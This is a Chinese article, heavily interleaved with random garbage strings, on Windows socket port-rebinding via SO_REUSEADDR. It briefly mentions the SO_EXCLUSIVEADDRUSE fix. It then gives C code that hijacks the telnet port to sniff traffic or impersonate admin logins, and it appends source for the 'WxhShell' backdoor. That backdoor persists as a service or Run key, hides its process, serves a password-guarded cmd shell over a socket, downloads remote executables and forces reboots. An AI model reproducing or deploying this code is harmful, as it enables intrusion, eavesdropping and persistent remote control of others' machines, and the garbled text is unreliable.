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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'i$._Tx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D|(\5]:R (<>??(VM saddr.sin_family = AF_INET; XgX~K:<jt rkji#\_-FV saddr.sin_addr.s_addr = htonl(INADDR_ANY); "XxmiK @.E9ml bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); swZi
O_85 <vWP_yy 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v3cMPN KwHN c\\ 这意味着什么?意味着可以进行如下的攻击: J:W+'x`@ n[e C 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .*YF{!R`h )B
$Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QWa@?BO2p P\K#q%8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DgcS@N G7CkP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 U&6A)SW,k h[qZM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?7wcv$K5 k^|z.$+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ox`Zs2-a GdUsv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Wap4:wT ,gZp/ yJ; #include 'gor*-o:wu #include ZqrS]i@$ #include d #1&"( #include PcA^ jBgGl DWORD WINAPI ClientThread(LPVOID lpParam); EpG9t9S9 int main() R98YGW_
dT { zAM9%W2v_ WORD wVersionRequested; @~s5 {4 DWORD ret; *(5;5r WSADATA wsaData; @!oN]0`F; BOOL val; \(
V1-, SOCKADDR_IN saddr; I,#E`) SOCKADDR_IN scaddr; ZKrK>X int err; \?t8[N\_[( SOCKET s; )t+pwh!8 SOCKET sc; U[3w9 int caddsize; T8\@CV! HANDLE mt; mK$E&,OkA DWORD tid; J \|~k2~ wVersionRequested = MAKEWORD( 2, 2 ); KRlJKd{ err = WSAStartup( wVersionRequested, &wsaData ); X7OU=+g if ( err != 0 ) {
y
_ap T<P printf("error!WSAStartup failed!\n"); _Jg#T~ return -1; {sB-"NR`K } 9Br+]F_i saddr.sin_family = AF_INET; g7?[}?]3"p ~l:Cj*6x8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 % t,42jQ9 ^A&{g.0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aNKw.S> saddr.sin_port = htons(23); 5@1h^wv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *JX$5bZsI {
MOB4t| printf("error!socket failed!\n"); ]\K?%z return -1; 6_" n } \?v&JmEU val = TRUE; qspGNu //SO_REUSEADDR选项就是可以实现端口重绑定的 p/_W*0/i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A@|Z^T: { MVzj7~+ printf("error!setsockopt failed!\n"); p_BG#dRM return -1; XGR63hXND } XM!oN^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "Cxj_V@\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i7T#WfF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }2 S!;swg+ !]s=9(O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <<S4l~"o { cd,'37 pZ ret=GetLastError(); yx`@f8Kr printf("error!bind failed!\n"); MHWc~@R return -1; OQ2G2>p } [V_mF listen(s,2); /Z*$k{qIR& while(1) X~m57bj { vM5I2C3_>! caddsize = sizeof(scaddr); p&Nav,9x //接受连接请求 {(-923|, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z^gz kXx7 if(sc!=INVALID_SOCKET) 9Oj b~ { ,9^ 5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b/\O;o}] if(mt==NULL) An(gHi;1$ { )x[=}0C printf("Thread Creat Failed!\n"); ?z M break; w7~]c,$y. } 1f^oW[w& } bny@AP(CY+ CloseHandle(mt); _Q^jk0K8ga } =aj|auu closesocket(s); &/uakkS WSACleanup(); U[;ECw@ return 0; exSwx-zxI } TuCHD~rb DWORD WINAPI ClientThread(LPVOID lpParam) jS3@Z?x?* { o/
\o-kC} SOCKET ss = (SOCKET)lpParam; `::j\3B&Y- SOCKET sc; Us "G X_ unsigned char buf[4096]; #q34>}O< O SOCKADDR_IN saddr; 6T~+vT long num; Kg2@]J9m DWORD val; ( AA@sN DWORD ret; xF) .S@ //如果是隐藏端口应用的话,可以在此处加一些判断 .Sw4{m[g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 </<z7V,{ saddr.sin_family = AF_INET; n @@tO#!\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NY?iuWa*g saddr.sin_port = htons(23); (.oDxs()I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FLPN#1 { Th,]nVsGs~ printf("error!socket failed!\n"); E.$//P n|1 return -1; "AJ>pU3 } `$ bQ8$+Ci val = 100; ZPM7R3%V)z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T5 pc%%q { Vx0Hq`_14 ret = GetLastError(); -$s1k~o return -1; L}8 }Pns?& } [uie]*^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j }^?Snq { _mdJIa0D6k ret = GetLastError(); jkuNafp} return -1; Ca"i<[8 } !Y^$rF-+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &e[Lb:Uk) { hhjsg?4uL printf("error!socket connect failed!\n"); (#je0ES closesocket(sc); .q]K:}9!\ closesocket(ss); IP !zg|c, return -1; IMSm } %iV\nFal> while(1) $\4O r { qy\SOAh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E.VEW;= //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,,9vk \ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %u|Qh/?7 num = recv(ss,buf,4096,0); QIN# \ if(num>0) )Knsy send(sc,buf,num,0); 8v;T_VN else if(num==0) /e*<-a break; z9#jXC#OdN num = recv(sc,buf,4096,0); d9
8pv% if(num>0) Ej VB\6, send(ss,buf,num,0); y;9K else if(num==0) rUiUv(q break; =g@hh)3wP } U/(R_U>= closesocket(ss); yCg>]6B closesocket(sc); dnPr2oI?I return 0 ; ~}~ yR*K% } /s:akLBaD >273V+dy Y u^ } ========================================================== v g tJ+GjN &zP\K~Nt 下边附上一个代码,,WXhSHELL m}
=<@b:l oDA'}[/ ========================================================== JR_c]AQYu !q PUQ+ #include "stdafx.h" J_|>rfW ~0.@1zEXj #include <stdio.h> YX2j;Y? #include <string.h> >yqL #include <windows.h> oWOH #w #include <winsock2.h> R?%|RCht1 #include <winsvc.h> inGH'nl_ #include <urlmon.h> P#Ikj&l i%B$p0U< #pragma comment (lib, "Ws2_32.lib") tQ?}x#J #pragma comment (lib, "urlmon.lib") e''Wm.>g(+ gwF@'Uu #define MAX_USER 100 // 最大客户端连接数 @1[LD[< #define BUF_SOCK 200 // sock buffer 9=~jKl%\vJ #define KEY_BUFF 255 // 输入 buffer )=D9L [
06B)|s #define REBOOT 0 // 重启 r?2C%GI` #define SHUTDOWN 1 // 关机 X4*/h$48 w C[$<7Mi|; #define DEF_PORT 5000 // 监听端口 l}c<eEfOy" `wG&Cy]v #define REG_LEN 16 // 注册表键长度 55|$Imnf #define SVC_LEN 80 // NT服务名长度 g(;ejKSR N=L
urXv // 从dll定义API 7~`6~qg. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ae1fCw3k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I`KN8ll typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9p$q@Bc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `^N;%[c`z .g&BA15<F6 // wxhshell配置信息 E3KPJ`=!*" struct WSCFG { _H3cqD int ws_port; // 监听端口 N4mQN90t char ws_passstr[REG_LEN]; // 口令 aH$*Ue@Q int ws_autoins; // 安装标记, 1=yes 0=no DwTZ<H4 char ws_regname[REG_LEN]; // 注册表键名 p-/x Md char ws_svcname[REG_LEN]; // 服务名 pV-.r-P char ws_svcdisp[SVC_LEN]; // 服务显示名 qC|re!K char ws_svcdesc[SVC_LEN]; // 服务描述信息 $S cjEG:6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d ly 0874 int ws_downexe; // 下载执行标记, 1=yes 0=no &k{@:z char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" AU$5"kBE char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %I=J8$B]f Y2D)$ }; -s!PO;qm !kKKJ~,; // default Wxhshell configuration \1B*iW struct WSCFG wscfg={DEF_PORT, SoY&R= "xuhuanlingzhe", (c*Dvpo1 1, S I(8.$1 "Wxhshell", )*JTxMQ "Wxhshell", %yrP: fg/ "WxhShell Service", O@Kr}8^, "Wrsky Windows CmdShell Service", IH0^*f "Please Input Your Password: ", 9VY_gi=vL 1, #5I "M WA " http://www.wrsky.com/wxhshell.exe", t[
MRyi)LF "Wxhshell.exe" ?^+|V,< }; BzUx@, lJ,s}l7 // 消息定义模块 hP#&]W3: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xO@OkCue char *msg_ws_prompt="\n\r? for help\n\r#>"; p.IfJ| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; e)bqE^JP char *msg_ws_ext="\n\rExit."; 6%xl}z]o char *msg_ws_end="\n\rQuit."; C]XDDr char *msg_ws_boot="\n\rReboot..."; &\K#UVDyhh char *msg_ws_poff="\n\rShutdown..."; Bms?`7}N char *msg_ws_down="\n\rSave to "; ,?f(~<Aj V)Xcn'h char *msg_ws_err="\n\rErr!"; zj)[Sntn? char *msg_ws_ok="\n\rOK!"; DpR%s",Q 8ksDXf`. char ExeFile[MAX_PATH]; V!=]a^]: int nUser = 0; *Ee# x!O HANDLE handles[MAX_USER]; %qv7;E2C int OsIsNt; zC^Ib&gm>, g/yXPzLU SERVICE_STATUS serviceStatus; / L8=8 SERVICE_STATUS_HANDLE hServiceStatusHandle; D.GSl n#fg7d% // 函数声明 0?sp int Install(void); K&h|r`W( int Uninstall(void); ^YZ#P0 y int DownloadFile(char *sURL, SOCKET wsh); lqs_7HhvRS int Boot(int flag); /4f;Niem void HideProc(void); <Jk|Bmw; int GetOsVer(void); i\'N1S<D int Wxhshell(SOCKET wsl); #>V;ZV5" void TalkWithClient(void *cs); }A;Xd/,'r int CmdShell(SOCKET sock); 334*nQ int StartFromService(void); BMW4E 5 int StartWxhshell(LPSTR lpCmdLine); <.2Z{;z RinRQd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3QVng^"B) VOID WINAPI NTServiceHandler( DWORD fdwControl ); kgu+q\? .PxM
#;i2 // 数据结构和表定义 _Owz% SERVICE_TABLE_ENTRY DispatchTable[] = NlMx!f>b%/ { 3^a"$VW1 {wscfg.ws_svcname, NTServiceMain}, s'^#[%EgB {NULL, NULL} &Hqu`A/^ }; Lsz`nD5 a`uT'g[* // 自我安装 1,J. int Install(void) x@ O: { wtKh8^:YD char svExeFile[MAX_PATH]; (qrT0D6 HKEY key; YGO@X(ej, strcpy(svExeFile,ExeFile); A.FI] K@ o5R\7}]GE // 如果是win9x系统,修改注册表设为自启动 m~K]|]iqQ if(!OsIsNt) { zl[JnVF\6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {mQJ6
G'ny RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #@fypCc RegCloseKey(key); 2^aTW`>L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >seB["C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BSY#xe V RegCloseKey(key); SOL=3hfb^ return 0; >vU
Hf`4T } 1DP)6{x } yN.D(ZwF: } ik*_,51Zj else { ,L;vN6~ ^q`*!B9@ // 如果是NT以上系统,安装为系统服务 Vmc)or*# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $%-?S]6) if (schSCManager!=0) Ymu=G3- { ZIp=JR8o$ SC_HANDLE schService = CreateService u/f&Wq/ ( =)8Ct schSCManager, 68*{Lo?U wscfg.ws_svcname, _;{-w%Vf wscfg.ws_svcdisp, qg/5m;U SERVICE_ALL_ACCESS, I .ty-X] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z"#.o^5 SERVICE_AUTO_START, Q/9b'^UJ SERVICE_ERROR_NORMAL, [}p.*U_nw svExeFile, bRK9Qt#3 NULL, ;GSJnV NULL, *&]l NULL, 2LU'C,o? NULL, P>-,6a> NULL ?
h%+2 ); D,/9rH if (schService!=0) Ah6x2(: { gOM`I+CwT CloseServiceHandle(schService); pS;dvZ CloseServiceHandle(schSCManager); ise}> A!t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,0bM*qob strcat(svExeFile,wscfg.ws_svcname); MVdx5,t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )|x5#b-lz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
lijy?:__ RegCloseKey(key); cG:`Zj~4 return 0; CdO-xL6F } $NHWg(/R@ } l0{DnQA>I CloseServiceHandle(schSCManager); P}`1#$ } iurB8~Y } }i:'f2/ 0)!zhO_} return 1; ,be?GAq } ,m,vo_Ub (xed(uFEK // 自我卸载 C5UDez int Uninstall(void) _4$DnQ6& { ;g
jp&g9Q HKEY key; 6,1|y%(f C6~dN&q if(!OsIsNt) { /p0LtUMu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I:<R@V<~# RegDeleteValue(key,wscfg.ws_regname); m=B0!Z1xx RegCloseKey(key); !++62Lf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9K<a}QJP RegDeleteValue(key,wscfg.ws_regname); FOi`TZ8 RegCloseKey(key); ~*[4DQ[\ return 0; em}Qv3*# } 1 ,'^BgI, } Vz]=J;`Mz } C:MGi7f else { ^^l"brPa h+D=/:B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YWrY{6M if (schSCManager!=0) .`N`M9 { {1|7N
GQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZF(=^.gc if (schService!=0) V JL;+ { W2h[NimU if(DeleteService(schService)!=0) { l$_rA~Mo CloseServiceHandle(schService); cV,Dl`1r CloseServiceHandle(schSCManager); Po.BcytM return 0; \r,.hUp } &Ld8Z9IeFp CloseServiceHandle(schService); M) XQi/ } m?$G(E5 CloseServiceHandle(schSCManager); PSS/JFZ^ } !p2,|6Y`y } D(U3zXdO @(fY4]K return 1; N06O.bji } agT[y/gb e~]e9-L>I // 从指定url下载文件 "IJMvTmj int DownloadFile(char *sURL, SOCKET wsh) MWh+h7k' { qXhf?x HRESULT hr; l>Ja[`X@ char seps[]= "/"; y4rJ- char *token; Z3>3&|& char *file; _)2TLA
n3 char myURL[MAX_PATH]; $ywh%OEH char myFILE[MAX_PATH]; +N:6wZ7<f xGv,%'u\ strcpy(myURL,sURL); G;c0 token=strtok(myURL,seps); J&65B./mD9 while(token!=NULL) wg0.i?R-] { 9XvM%aHs: file=token; 7Sq{A@ET token=strtok(NULL,seps); dt&Lwf/ } l(\8c><m ]f-'A>MC GetCurrentDirectory(MAX_PATH,myFILE); 00a<(sS; strcat(myFILE, "\\"); #'J7Wy strcat(myFILE, file); L$c%u send(wsh,myFILE,strlen(myFILE),0); f?^Oy!1] send(wsh,"...",3,0); y"p-8RVk{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PFgjWp"Y if(hr==S_OK) l'".}6S return 0; 42wC."A else lv_% return 1; udI:]:,P | O+># } qS}RFM5| `yXx[deY // 系统电源模块 dQ`ZrWd_U int Boot(int flag) )wzs~Fn/ { c&?a,fpb HANDLE hToken; m3Z}eC8LK TOKEN_PRIVILEGES tkp; X8n/XG ~_ ^I~T$YjC ' if(OsIsNt) { AYu'ptDNr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G^@Jgx3n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?WtG|w tkp.PrivilegeCount = 1; zn;Hs]G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $o$Ev@mi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yn]yd1 if(flag==REBOOT) { P|P fG= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Iki+5 return 0; ) a\DS yr } #0<y0uJ(y else { )F#<)Evw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $]U5 return 0; ]op^dW1;0_ } /0&:Yp=> }
)P9{47 else { {G1aAM\Hz if(flag==REBOOT) { 1L=Qg4 H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \g:qQ*. return 0; fy=C!N&/ } p2c=;5|/Q else { $N+{r= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +;wqX]SD & return 0; =
EChH@3 } XvkI+c } d7tD|[(J SAE'?_ return 1; K!D!b'|bb } Pzm!`F^r} K9O,7h:x // win9x进程隐藏模块 $aPHl void HideProc(void) [gh[F { Xt,,AGm} KkL:p?@n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZDkD%SCy if ( hKernel != NULL ) ,dj*p,J { CVSsB:H6e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /mBBeg^a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BXK::M+ FreeLibrary(hKernel); e(; `9T } &kjwIg{ Q#ZD&RZ9. return; yK%GsCJd: } <X I35\^ 4>"cc@8&~ // 获取操作系统版本 Ux)p%- int GetOsVer(void) q4.dLU,1 { 'f?&EsIV? OSVERSIONINFO winfo; tC@zM.v% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mQ^@ \s GetVersionEx(&winfo); o&XMgY~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w^'?4M! return 1; .xLF}{u else ,7fc41O3V return 0; '=Kof1 } C/CfjRzd gR-Qj // 客户端句柄模块 [#>$k
6F* int Wxhshell(SOCKET wsl) ZP63Alt { o,Tr^e$ SOCKET wsh; _+Jf.n20 struct sockaddr_in client; |1QbO`f/F DWORD myID; dp[w?AMhM9 B/sBYVU while(nUser<MAX_USER) [*?_ { rxy{a int nSize=sizeof(client); |:e|~sism wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H?`)[# if(wsh==INVALID_SOCKET) return 1; ^L8Wn6s' <h@z=ijN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l\=-+'Y if(handles[nUser]==0) NHFEr closesocket(wsh); ~[uV else CmJ?_> nUser++; Rgfc29(8 } pe!dm}!h[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x'M^4{4[ y3KcM#[ return 0; ra9cD"/J & } =##s;zj(% &G
pA1 // 关闭 socket Yt/SnF void CloseIt(SOCKET wsh) ,\S pjE { 0 .FHdJ< closesocket(wsh); sk7rU+< nUser--; uK;K{ ExitThread(0); |YE,) kiF } G+hF
[b44' Q_QKm0! // 客户端请求句柄 iBKb/Oi6 void TalkWithClient(void *cs) f
E.L { s,$Z("B WG8iTVwx SOCKET wsh=(SOCKET)cs; tIyuzc~U char pwd[SVC_LEN]; CrNwALx char cmd[KEY_BUFF]; `\/toddUh[ char chr[1]; Y(hW(bd; int i,j; Vedyy\TU $*AC>i\ while (nUser < MAX_USER) { ol$2sI=.s >&<<8Ln if(wscfg.ws_passstr) { %_b^!FR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {*?sVAvj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @q> ktE_ //ZeroMemory(pwd,KEY_BUFF); V\@jC\-5Vt i=0; N;Z`%& while(i<SVC_LEN) { Ue{vg$5|| 2/yXY_L // 设置超时 e$Xq fd_set FdRead; IP30y>\ struct timeval TimeOut; S]e j=6SP FD_ZERO(&FdRead); d)04;[= FD_SET(wsh,&FdRead); ySwYV TimeOut.tv_sec=8; Cdp]Nv6 TimeOut.tv_usec=0; 4?>18%7& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $N}/1R^?r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tjZ \h= i<4>\nc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pKt-R07* pwd =chr[0]; :M22P`: if(chr[0]==0xd || chr[0]==0xa) { fJ)N:q` pwd=0; fg9?3x
Z break;
JJ/1daj } 0T9@,scY i++; [F/^J|VMV } ;dqk@@O"( /OQK/
t63 // 如果是非法用户,关闭 socket :vc[/< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <i_>
y~v` } x],8yR)R [!1)mR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6X@mPj[/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 10C 2= ;YK!EMM4!h while(1) { Aautih@LX gEZwW]r- ZeroMemory(cmd,KEY_BUFF); Ni2]6U 9z5"y|$ // 自动支持客户端 telnet标准 ,c4c@|Bh? j=0; "El^38Ho while(j<KEY_BUFF) { G1kaF/`O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z69+yOJI cmd[j]=chr[0]; N#(jK1`y if(chr[0]==0xa || chr[0]==0xd) { 8{R_6BS cmd[j]=0; ! jbEm8bt break; _Kc1 } Dh2:2Rz=#7 j++; 2.[_t/T } "| Kf'/r
s1X]RXX&j // 下载文件 1s#yWQ if(strstr(cmd,"http://")) { n,t6v5>88 send(wsh,msg_ws_down,strlen(msg_ws_down),0); <,jAk4 if(DownloadFile(cmd,wsh)) <Ctyht0c. send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,f}h} else H4M{_2DO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NH'1rt(w } Eo%UuSi else { +yzcx3< \'n$&PFe switch(cmd[0]) {
MKU7fFN. r%0pQEl // 帮助 Q`H#
fS~ case '?': { '5'3_vM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JXpoCCe break; >|wKXz } - #3{{ // 安装 "XCU'_k= case 'i': { }qer if(Install()) ?qk@cKS send(wsh,msg_ws_err,strlen(msg_ws_err),0); :3JCvrq else O$a#2p& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }l~]b3@qu break; ; ;<J
x. } l`SK*Bm~< // 卸载 ./$
<J6-J case 'r': { q1 H=/[a if(Uninstall()) $fj])>=H send(wsh,msg_ws_err,strlen(msg_ws_err),0); I0!j<G else EPc!p> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fD'/#sA#' break; XZ}de%U1 } `)"tO&Fn // 显示 wxhshell 所在路径 lp(Nv(S case 'p': { cL#-*_( char svExeFile[MAX_PATH]; cv3L&zg M strcpy(svExeFile,"\n\r"); 3 h#s([uL strcat(svExeFile,ExeFile); aiYo8+{!# send(wsh,svExeFile,strlen(svExeFile),0); kEO1TS break; 7'Lp8 } >A3LA3(
c // 重启 }/20%fP case 'b': { y =R
aJm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NdZ)[f:2 if(Boot(REBOOT)) }d_<\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); DB#$~(o else { `%|u! closesocket(wsh); *xPB<v2N:P ExitThread(0); ugno]5Ni } Qh^R Ax break; */nuv
k } dgXg kB' // 关机 ]GNh) case 'd': { ! Q!&CG5l send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i<mevL
if(Boot(SHUTDOWN)) 3c b[RQf send(wsh,msg_ws_err,strlen(msg_ws_err),0); =nzFd-P else { [eyb7\#
closesocket(wsh); V"O9n[ | ExitThread(0); H.:9:I[n } KGu= ; break; ~x'zX-@rC } qYiv // 获取shell GWgd8x*V case 's': { OZ^h\m4 CmdShell(wsh); V7:\q^$ closesocket(wsh); `|Ey)@w ExitThread(0); !nwbj21% break; SZ/(\kQ6 } %l,4=TQ[m // 退出 bhYU5I 9 case 'x': { ha5e(Hj? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); glx2I_y CloseIt(wsh); ]oEQ4 break; AuAT]` } B%fU' // 离开 (-\]A| case 'q': { /l^y}o %? send(wsh,msg_ws_end,strlen(msg_ws_end),0); usy,V"{ closesocket(wsh); UeA2c_
5 WSACleanup(); IP04l;p/ exit(1); gGI8t@t: break; >60"p~t } ;}D-:J-z_ } y:.?5KsPI } U+} y
%3l ;|!MI'Af // 提示信息 ugI#ZFjJWE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UT4f (Xo } P{cos&X| } 1aq2aLx zks#EzQ return; ;,rnk- } d@ZoV Pu..NPl+ // shell模块句柄 !R74J=#( int CmdShell(SOCKET sock) ?I[h~vr6. { `E W!-v) STARTUPINFO si; <1
S+' ZeroMemory(&si,sizeof(si)); _s*!
t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &\k?xN si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zw]3Vg{T PROCESS_INFORMATION ProcessInfo; q!&B6] char cmdline[]="cmd"; .b,~f CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l<xFnj return 0; +*C^:^jA } >$uUuiyL4 f*<ps
o // 自身启动模式 !!WJn} int StartFromService(void) K6hfauWd[ { ;g9% & typedef struct p![&8i@ym { vU}: U)S DWORD ExitStatus; s`c?: DWORD PebBaseAddress; j=W@P- DWORD AffinityMask; C`0%C7 DWORD BasePriority; Xhse~=qA ULONG UniqueProcessId; P>wZ~Hjk ULONG InheritedFromUniqueProcessId; #h N.=~ } PROCESS_BASIC_INFORMATION; .!yq@Q|=u BC({ EE~R) PROCNTQSIP NtQueryInformationProcess; DWrbp ]_u`EvEx6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fg=v6j4W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o@3B(j;J` /UHp [yod HANDLE hProcess; vLDi ; PROCESS_BASIC_INFORMATION pbi; )b92yP{ EeB3 } HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $)*xC!@6X if(NULL == hInst ) return 0; '#H")i Pbe7SRdr^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <tuS,. g_pGetModuleBaseName = 